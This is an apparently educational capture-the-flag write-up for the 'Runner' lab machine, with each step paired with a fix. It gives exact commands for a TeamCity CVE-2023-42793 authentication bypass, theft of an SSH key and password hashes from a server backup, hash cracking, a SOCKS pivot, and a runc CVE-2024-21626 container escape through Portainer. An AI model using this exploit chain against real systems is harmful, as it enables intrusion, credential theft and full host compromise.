Runner
Summary
I fuzzed virtual hosts on the target's nginx front end and uncovered an internal TeamCity build server at teamcity.runner.htb still running a version vulnerable to the unauthenticated admin-token-creation bug (CVE-2023-42793). Minting a token as the admin user gave enough access to trigger and download a full server backup, which bundled an SSH private key and a database dump of bcrypt password hashes in one archive.
The SSH key logged straight in as the local user 'john' for the user flag, and a cracked hash for user 'matthew' turned out to be reused on an internal, localhost-only Portainer/Docker management panel reachable only through a SOCKS pivot over the SSH session. With Docker API access as an authenticated Portainer user, I created a container that abused a known runc container-breakout flaw (CVE-2024-21626, runc 1.1.7) to read and traverse the host filesystem as root, giving full system compromise and the root flag.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Resolve the discovered hostnames locally.
$ echo "$TARGET runner.htb teamcity.runner.htb" | sudo tee -a /etc/hostsCanonical vhost fuzz; -fs filters out the baseline 154-byte redirect response so only real vhosts show.
$ ffuf -u http://$TARGET/ -H 'Host: FUZZ.runner.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154Confirm TeamCity and its version string on the discovered vhost.
$ curl -sS -H 'Host: teamcity.runner.htb' http://$TARGET/login.htmlExact commands 1
Reserved token name RPC2 bypasses auth and returns a bearer token for the admin account.
$ curl -sS -i -X POST -H 'Host: teamcity.runner.htb' -H 'Accept: application/json' http://$TARGET/app/rest/users/id:1/tokens/RPC2FixPatch TeamCity past the CVE-2023-42793 authentication bypassCritical
Exact commands 5
Trigger a full server backup as the forged admin identity.
$ curl -sS -H 'Host: teamcity.runner.htb' -H 'Authorization: Bearer <ADMIN_TOKEN>' -X POST "http://$TARGET/app/rest/server/backup?includeConfigs=true&includeDatabase=true&fileName=pwn_runner_backup"Download the resulting backup archive.
$ curl -sS -H 'Host: teamcity.runner.htb' -H 'Authorization: Bearer <ADMIN_TOKEN>' -o pwn_runner_backup.zip "http://$TARGET/get/file/backup/pwn_runner_backup.zip"Extract john's plaintext SSH private key.
$ unzip -p pwn_runner_backup.zip config/projects/AllProjects/pluginData/ssh_keys/id_rsa > john_id_rsa && chmod 600 john_id_rsaExtract the bcrypt password hash dump.
$ unzip -p pwn_runner_backup.zip database_dump/users > teamcity_users.dumpCrack matthew's bcrypt hash offline (matthew's password).
$ hashcat -m 3200 -a 0 matthew_hash.txt rockyou.txtFixStop bundling recoverable secrets in downloadable server backupsHigh
Exact commands 2
Authenticate as john with the extracted key.
$ ssh -i john_id_rsa john@runner.htbProve foothold access and read the user flag -> <user.txt>
$ id && hostname && cat /home/john/user.txt
uid=1001(john) gid=1001(john) groups=1001(john)Exact commands 3
Open a local SOCKS5 proxy through the SSH foothold.
$ ssh -i john_id_rsa -D 1080 -N john@runner.htbConfirm the internal Portainer service through the pivot.
$ curl -sS --socks5-hostname 127.0.0.1:1080 http://127.0.0.1:9000/api/statusAuthenticate with the reused credential and capture the returned JWT.
$ curl -sS --socks5-hostname 127.0.0.1:1080 -H 'Content-Type: application/json' -d '{"Username":"matthew","Password":"'"$PASSWORD"'"}' http://127.0.0.1:9000/api/authFixEliminate password reuse across servicesHigh
Exact commands 4
Create a container whose entrypoint traverses out of the container root via the runc fd-leak bug; capture the returned container Id.
$ curl -sS --socks5-hostname 127.0.0.1:1080 -X POST -H 'Authorization: Bearer <PORTAINER_JWT>' -H 'Content-Type: application/json' --data '{"Image":"ubuntu:latest","Cmd":["/bin/sh","-c","id; ls -la ../../../../../../../../"]}' http://127.0.0.1:9000/api/endpoints/1/docker/containers/createStart the container to execute the escape command.
$ curl -sS --socks5-hostname 127.0.0.1:1080 -X POST -H 'Authorization: Bearer <PORTAINER_JWT>' 'http://127.0.0.1:9000/api/endpoints/1/docker/containers/<CONTAINER_ID>/start'Retrieve stdout showing uid=0(root) and a host root filesystem listing, proving the escape.
$ curl -sS --socks5-hostname 127.0.0.1:1080 -H 'Authorization: Bearer <PORTAINER_JWT>' 'http://127.0.0.1:9000/api/endpoints/1/docker/containers/<CONTAINER_ID>/logs?stdout=true&stderr=true'From the escaped root context on the host, read the root flag -> <root.txt>
$ cat /root/root.txtFixPatch runc / Docker to close the container-escape vulnerabilityCritical
--privileged, and don't expose the Docker/Portainer administrative API to any account that shouldn't have host-equivalent access.Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http nginx 1.18.0 (Ubuntu) |
| 8000/tcp | nagios-nsca Nagios NSCA |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.